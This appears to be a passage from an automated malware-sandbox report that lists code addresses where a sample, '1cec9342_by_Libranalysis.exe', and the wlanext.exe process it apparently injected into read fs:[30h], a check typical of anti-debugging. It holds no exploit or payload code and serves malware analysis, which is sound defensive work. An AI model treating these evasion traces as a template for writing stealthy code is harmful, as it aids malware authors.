Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A97794 mov eax, dword ptr fs:[00000030h]		1_2_00A97794
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A537F5 mov eax, dword ptr fs:[00000030h]		1_2_00A537F5
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A14F2E mov eax, dword ptr fs:[00000030h]		1_2_00A14F2E
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A14F2E mov eax, dword ptr fs:[00000030h]		1_2_00A14F2E
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4E730 mov eax, dword ptr fs:[00000030h]		1_2_00A4E730
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE070D mov eax, dword ptr fs:[00000030h]		1_2_00AE070D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE070D mov eax, dword ptr fs:[00000030h]		1_2_00AE070D
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4A70E mov eax, dword ptr fs:[00000030h]		1_2_00A4A70E
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A4A70E mov eax, dword ptr fs:[00000030h]		1_2_00A4A70E
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A3F716 mov eax, dword ptr fs:[00000030h]		1_2_00A3F716
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAFF10 mov eax, dword ptr fs:[00000030h]		1_2_00AAFF10
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AAFF10 mov eax, dword ptr fs:[00000030h]		1_2_00AAFF10
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2FF60 mov eax, dword ptr fs:[00000030h]		1_2_00A2FF60
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00AE8F6A mov eax, dword ptr fs:[00000030h]		1_2_00AE8F6A
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Code function: 1_2_00A2EF40 mov eax, dword ptr fs:[00000030h]		1_2_00A2EF40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038C138A mov eax, dword ptr fs:[00000030h]		7_2_038C138A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038BD380 mov ecx, dword ptr fs:[00000030h]		7_2_038BD380
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03811B8F mov eax, dword ptr fs:[00000030h]		7_2_03811B8F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03811B8F mov eax, dword ptr fs:[00000030h]		7_2_03811B8F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383B390 mov eax, dword ptr fs:[00000030h]		7_2_0383B390
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832397 mov eax, dword ptr fs:[00000030h]		7_2_03832397
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D5BA5 mov eax, dword ptr fs:[00000030h]		7_2_038D5BA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03834BAD mov eax, dword ptr fs:[00000030h]		7_2_03834BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03834BAD mov eax, dword ptr fs:[00000030h]		7_2_03834BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03834BAD mov eax, dword ptr fs:[00000030h]		7_2_03834BAD
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038853CA mov eax, dword ptr fs:[00000030h]		7_2_038853CA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038853CA mov eax, dword ptr fs:[00000030h]		7_2_038853CA
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038303E2 mov eax, dword ptr fs:[00000030h]		7_2_038303E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038303E2 mov eax, dword ptr fs:[00000030h]		7_2_038303E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038303E2 mov eax, dword ptr fs:[00000030h]		7_2_038303E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038303E2 mov eax, dword ptr fs:[00000030h]		7_2_038303E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038303E2 mov eax, dword ptr fs:[00000030h]		7_2_038303E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038303E2 mov eax, dword ptr fs:[00000030h]		7_2_038303E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382DBE9 mov eax, dword ptr fs:[00000030h]		7_2_0382DBE9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038C131B mov eax, dword ptr fs:[00000030h]		7_2_038C131B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380DB40 mov eax, dword ptr fs:[00000030h]		7_2_0380DB40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D8B58 mov eax, dword ptr fs:[00000030h]		7_2_038D8B58
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380F358 mov eax, dword ptr fs:[00000030h]		7_2_0380F358
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380DB60 mov ecx, dword ptr fs:[00000030h]		7_2_0380DB60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03833B7A mov eax, dword ptr fs:[00000030h]		7_2_03833B7A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03833B7A mov eax, dword ptr fs:[00000030h]		7_2_03833B7A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383D294 mov eax, dword ptr fs:[00000030h]		7_2_0383D294
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383D294 mov eax, dword ptr fs:[00000030h]		7_2_0383D294
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038052A5 mov eax, dword ptr fs:[00000030h]		7_2_038052A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038052A5 mov eax, dword ptr fs:[00000030h]		7_2_038052A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038052A5 mov eax, dword ptr fs:[00000030h]		7_2_038052A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038052A5 mov eax, dword ptr fs:[00000030h]		7_2_038052A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038052A5 mov eax, dword ptr fs:[00000030h]		7_2_038052A5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381AAB0 mov eax, dword ptr fs:[00000030h]		7_2_0381AAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381AAB0 mov eax, dword ptr fs:[00000030h]		7_2_0381AAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383FAB0 mov eax, dword ptr fs:[00000030h]		7_2_0383FAB0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832ACB mov eax, dword ptr fs:[00000030h]		7_2_03832ACB
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832AE4 mov eax, dword ptr fs:[00000030h]		7_2_03832AE4
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03818A0A mov eax, dword ptr fs:[00000030h]		7_2_03818A0A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03805210 mov eax, dword ptr fs:[00000030h]		7_2_03805210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03805210 mov ecx, dword ptr fs:[00000030h]		7_2_03805210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03805210 mov eax, dword ptr fs:[00000030h]		7_2_03805210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03805210 mov eax, dword ptr fs:[00000030h]		7_2_03805210
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380AA16 mov eax, dword ptr fs:[00000030h]		7_2_0380AA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380AA16 mov eax, dword ptr fs:[00000030h]		7_2_0380AA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CAA16 mov eax, dword ptr fs:[00000030h]		7_2_038CAA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CAA16 mov eax, dword ptr fs:[00000030h]		7_2_038CAA16
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03823A1C mov eax, dword ptr fs:[00000030h]		7_2_03823A1C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03844A2C mov eax, dword ptr fs:[00000030h]		7_2_03844A2C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03844A2C mov eax, dword ptr fs:[00000030h]		7_2_03844A2C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809240 mov eax, dword ptr fs:[00000030h]		7_2_03809240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809240 mov eax, dword ptr fs:[00000030h]		7_2_03809240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809240 mov eax, dword ptr fs:[00000030h]		7_2_03809240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809240 mov eax, dword ptr fs:[00000030h]		7_2_03809240
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CEA55 mov eax, dword ptr fs:[00000030h]		7_2_038CEA55
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03894257 mov eax, dword ptr fs:[00000030h]		7_2_03894257
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038BB260 mov eax, dword ptr fs:[00000030h]		7_2_038BB260
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038BB260 mov eax, dword ptr fs:[00000030h]		7_2_038BB260
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D8A62 mov eax, dword ptr fs:[00000030h]		7_2_038D8A62
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0384927A mov eax, dword ptr fs:[00000030h]		7_2_0384927A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382C182 mov eax, dword ptr fs:[00000030h]		7_2_0382C182
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383A185 mov eax, dword ptr fs:[00000030h]		7_2_0383A185
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832990 mov eax, dword ptr fs:[00000030h]		7_2_03832990
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038361A0 mov eax, dword ptr fs:[00000030h]		7_2_038361A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038361A0 mov eax, dword ptr fs:[00000030h]		7_2_038361A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038869A6 mov eax, dword ptr fs:[00000030h]		7_2_038869A6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038851BE mov eax, dword ptr fs:[00000030h]		7_2_038851BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038851BE mov eax, dword ptr fs:[00000030h]		7_2_038851BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038851BE mov eax, dword ptr fs:[00000030h]		7_2_038851BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038851BE mov eax, dword ptr fs:[00000030h]		7_2_038851BE
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038941E8 mov eax, dword ptr fs:[00000030h]		7_2_038941E8
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380B1E1 mov eax, dword ptr fs:[00000030h]		7_2_0380B1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380B1E1 mov eax, dword ptr fs:[00000030h]		7_2_0380B1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380B1E1 mov eax, dword ptr fs:[00000030h]		7_2_0380B1E1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809100 mov eax, dword ptr fs:[00000030h]		7_2_03809100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809100 mov eax, dword ptr fs:[00000030h]		7_2_03809100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809100 mov eax, dword ptr fs:[00000030h]		7_2_03809100
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03824120 mov eax, dword ptr fs:[00000030h]		7_2_03824120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03824120 mov eax, dword ptr fs:[00000030h]		7_2_03824120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03824120 mov eax, dword ptr fs:[00000030h]		7_2_03824120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03824120 mov eax, dword ptr fs:[00000030h]		7_2_03824120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03824120 mov ecx, dword ptr fs:[00000030h]		7_2_03824120
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383513A mov eax, dword ptr fs:[00000030h]		7_2_0383513A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383513A mov eax, dword ptr fs:[00000030h]		7_2_0383513A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382B944 mov eax, dword ptr fs:[00000030h]		7_2_0382B944
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382B944 mov eax, dword ptr fs:[00000030h]		7_2_0382B944
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380C962 mov eax, dword ptr fs:[00000030h]		7_2_0380C962
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380B171 mov eax, dword ptr fs:[00000030h]		7_2_0380B171
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380B171 mov eax, dword ptr fs:[00000030h]		7_2_0380B171
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03809080 mov eax, dword ptr fs:[00000030h]		7_2_03809080
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03883884 mov eax, dword ptr fs:[00000030h]		7_2_03883884
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03883884 mov eax, dword ptr fs:[00000030h]		7_2_03883884
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038320A0 mov eax, dword ptr fs:[00000030h]		7_2_038320A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038320A0 mov eax, dword ptr fs:[00000030h]		7_2_038320A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038320A0 mov eax, dword ptr fs:[00000030h]		7_2_038320A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038320A0 mov eax, dword ptr fs:[00000030h]		7_2_038320A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038320A0 mov eax, dword ptr fs:[00000030h]		7_2_038320A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038320A0 mov eax, dword ptr fs:[00000030h]		7_2_038320A0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038490AF mov eax, dword ptr fs:[00000030h]		7_2_038490AF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383F0BF mov ecx, dword ptr fs:[00000030h]		7_2_0383F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383F0BF mov eax, dword ptr fs:[00000030h]		7_2_0383F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383F0BF mov eax, dword ptr fs:[00000030h]		7_2_0383F0BF
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0389B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389B8D0 mov ecx, dword ptr fs:[00000030h]		7_2_0389B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0389B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0389B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0389B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389B8D0 mov eax, dword ptr fs:[00000030h]		7_2_0389B8D0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038058EC mov eax, dword ptr fs:[00000030h]		7_2_038058EC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D4015 mov eax, dword ptr fs:[00000030h]		7_2_038D4015
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D4015 mov eax, dword ptr fs:[00000030h]		7_2_038D4015
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03887016 mov eax, dword ptr fs:[00000030h]		7_2_03887016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03887016 mov eax, dword ptr fs:[00000030h]		7_2_03887016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03887016 mov eax, dword ptr fs:[00000030h]		7_2_03887016
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381B02A mov eax, dword ptr fs:[00000030h]		7_2_0381B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381B02A mov eax, dword ptr fs:[00000030h]		7_2_0381B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381B02A mov eax, dword ptr fs:[00000030h]		7_2_0381B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381B02A mov eax, dword ptr fs:[00000030h]		7_2_0381B02A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383002D mov eax, dword ptr fs:[00000030h]		7_2_0383002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383002D mov eax, dword ptr fs:[00000030h]		7_2_0383002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383002D mov eax, dword ptr fs:[00000030h]		7_2_0383002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383002D mov eax, dword ptr fs:[00000030h]		7_2_0383002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383002D mov eax, dword ptr fs:[00000030h]		7_2_0383002D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03820050 mov eax, dword ptr fs:[00000030h]		7_2_03820050
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03820050 mov eax, dword ptr fs:[00000030h]		7_2_03820050
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D1074 mov eax, dword ptr fs:[00000030h]		7_2_038D1074
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038C2073 mov eax, dword ptr fs:[00000030h]		7_2_038C2073
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03818794 mov eax, dword ptr fs:[00000030h]		7_2_03818794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03887794 mov eax, dword ptr fs:[00000030h]		7_2_03887794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03887794 mov eax, dword ptr fs:[00000030h]		7_2_03887794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03887794 mov eax, dword ptr fs:[00000030h]		7_2_03887794
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038437F5 mov eax, dword ptr fs:[00000030h]		7_2_038437F5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D070D mov eax, dword ptr fs:[00000030h]		7_2_038D070D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D070D mov eax, dword ptr fs:[00000030h]		7_2_038D070D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383A70E mov eax, dword ptr fs:[00000030h]		7_2_0383A70E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383A70E mov eax, dword ptr fs:[00000030h]		7_2_0383A70E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382F716 mov eax, dword ptr fs:[00000030h]		7_2_0382F716
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389FF10 mov eax, dword ptr fs:[00000030h]		7_2_0389FF10
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389FF10 mov eax, dword ptr fs:[00000030h]		7_2_0389FF10
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03804F2E mov eax, dword ptr fs:[00000030h]		7_2_03804F2E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03804F2E mov eax, dword ptr fs:[00000030h]		7_2_03804F2E
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383E730 mov eax, dword ptr fs:[00000030h]		7_2_0383E730
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381EF40 mov eax, dword ptr fs:[00000030h]		7_2_0381EF40
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381FF60 mov eax, dword ptr fs:[00000030h]		7_2_0381FF60
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D8F6A mov eax, dword ptr fs:[00000030h]		7_2_038D8F6A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0389FE87 mov eax, dword ptr fs:[00000030h]		7_2_0389FE87
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D0EA5 mov eax, dword ptr fs:[00000030h]		7_2_038D0EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D0EA5 mov eax, dword ptr fs:[00000030h]		7_2_038D0EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D0EA5 mov eax, dword ptr fs:[00000030h]		7_2_038D0EA5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038846A7 mov eax, dword ptr fs:[00000030h]		7_2_038846A7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03848EC7 mov eax, dword ptr fs:[00000030h]		7_2_03848EC7
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038BFEC0 mov eax, dword ptr fs:[00000030h]		7_2_038BFEC0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038336CC mov eax, dword ptr fs:[00000030h]		7_2_038336CC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D8ED6 mov eax, dword ptr fs:[00000030h]		7_2_038D8ED6
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038316E0 mov ecx, dword ptr fs:[00000030h]		7_2_038316E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038176E2 mov eax, dword ptr fs:[00000030h]		7_2_038176E2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380C600 mov eax, dword ptr fs:[00000030h]		7_2_0380C600
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380C600 mov eax, dword ptr fs:[00000030h]		7_2_0380C600
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380C600 mov eax, dword ptr fs:[00000030h]		7_2_0380C600
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03838E00 mov eax, dword ptr fs:[00000030h]		7_2_03838E00
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038C1608 mov eax, dword ptr fs:[00000030h]		7_2_038C1608
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383A61C mov eax, dword ptr fs:[00000030h]		7_2_0383A61C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383A61C mov eax, dword ptr fs:[00000030h]		7_2_0383A61C
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380E620 mov eax, dword ptr fs:[00000030h]		7_2_0380E620
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038BFE3F mov eax, dword ptr fs:[00000030h]		7_2_038BFE3F
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03817E41 mov eax, dword ptr fs:[00000030h]		7_2_03817E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03817E41 mov eax, dword ptr fs:[00000030h]		7_2_03817E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03817E41 mov eax, dword ptr fs:[00000030h]		7_2_03817E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03817E41 mov eax, dword ptr fs:[00000030h]		7_2_03817E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03817E41 mov eax, dword ptr fs:[00000030h]		7_2_03817E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03817E41 mov eax, dword ptr fs:[00000030h]		7_2_03817E41
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CAE44 mov eax, dword ptr fs:[00000030h]		7_2_038CAE44
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CAE44 mov eax, dword ptr fs:[00000030h]		7_2_038CAE44
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381766D mov eax, dword ptr fs:[00000030h]		7_2_0381766D
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382AE73 mov eax, dword ptr fs:[00000030h]		7_2_0382AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382AE73 mov eax, dword ptr fs:[00000030h]		7_2_0382AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382AE73 mov eax, dword ptr fs:[00000030h]		7_2_0382AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382AE73 mov eax, dword ptr fs:[00000030h]		7_2_0382AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382AE73 mov eax, dword ptr fs:[00000030h]		7_2_0382AE73
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832581 mov eax, dword ptr fs:[00000030h]		7_2_03832581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832581 mov eax, dword ptr fs:[00000030h]		7_2_03832581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832581 mov eax, dword ptr fs:[00000030h]		7_2_03832581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03832581 mov eax, dword ptr fs:[00000030h]		7_2_03832581
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03802D8A mov eax, dword ptr fs:[00000030h]		7_2_03802D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03802D8A mov eax, dword ptr fs:[00000030h]		7_2_03802D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03802D8A mov eax, dword ptr fs:[00000030h]		7_2_03802D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03802D8A mov eax, dword ptr fs:[00000030h]		7_2_03802D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03802D8A mov eax, dword ptr fs:[00000030h]		7_2_03802D8A
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383FD9B mov eax, dword ptr fs:[00000030h]		7_2_0383FD9B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0383FD9B mov eax, dword ptr fs:[00000030h]		7_2_0383FD9B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D05AC mov eax, dword ptr fs:[00000030h]		7_2_038D05AC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D05AC mov eax, dword ptr fs:[00000030h]		7_2_038D05AC
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038335A1 mov eax, dword ptr fs:[00000030h]		7_2_038335A1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03831DB5 mov eax, dword ptr fs:[00000030h]		7_2_03831DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03831DB5 mov eax, dword ptr fs:[00000030h]		7_2_03831DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03831DB5 mov eax, dword ptr fs:[00000030h]		7_2_03831DB5
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03886DC9 mov eax, dword ptr fs:[00000030h]		7_2_03886DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03886DC9 mov eax, dword ptr fs:[00000030h]		7_2_03886DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03886DC9 mov eax, dword ptr fs:[00000030h]		7_2_03886DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03886DC9 mov ecx, dword ptr fs:[00000030h]		7_2_03886DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03886DC9 mov eax, dword ptr fs:[00000030h]		7_2_03886DC9
